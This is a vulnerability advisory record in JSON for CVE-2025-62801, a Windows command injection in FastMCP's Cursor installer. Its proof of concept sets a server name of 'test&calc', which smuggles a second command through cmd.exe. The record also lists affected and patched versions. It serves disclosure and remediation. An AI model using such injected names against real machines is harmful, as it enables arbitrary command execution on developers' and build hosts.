{"id":"CVE-2025-62801","aliases":["GHSA-rj5c-58rq-j5g5","PYSEC-2026-1365"],"title":"FastMCP vulnerable to windows command injection in FastMCP Cursor installer via server_name","summary":"FastMCP vulnerable to windows command injection in FastMCP Cursor installer via server_name","severity":"medium","vendor":"fastmcp","product":"fastmcp","ecosystem":"pip","affected":["fastmcp < 2.13.0"],"patched":["fastmcp 2.13.0"],"published":"2025-10-29","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-rj5c-58rq-j5g5","references":[{"url":"https://github.com/jlowin/fastmcp/security/advisories/GHSA-rj5c-58rq-j5g5"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62801"},{"url":"https://github.com/jlowin/fastmcp"}],"tags":["osv","pip"],"epss":0.00212,"epssPercentile":0.11785,"ingestedAt":"2026-07-08T18:25:52.741Z","slug":"CVE-2025-62801","body":"## Overview\n\n### Summary\nA command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor\n\n### Details\n1. generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string.\n2. open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>.\n3. Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.\n\n### PoC\nserver.py \n```\n\nimport random\nfrom fastmcp import FastMCP\n\nmcp = FastMCP(name=\"test&calc\")\n\n@mcp.tool\ndef roll_dice(n_dice: int) -> list[int]:\n    \"\"\"Roll `n_dice` 6-sided dice and return the results.\"\"\"\n    return [random.randint(1, 6) for _ in range(n_dice)]\n\nif __name__ == \"__main__\":\n    mcp.run()\n```\n\nthen run in the terminal:\n`fastmcp install cursor server.py`\n\n### Impact\nOS Command / Shell Injection (CWE-78)\nEvery Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike.\n\n## Affected packages\n\n- `fastmcp < 2.13.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `fastmcp 2.13.0`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}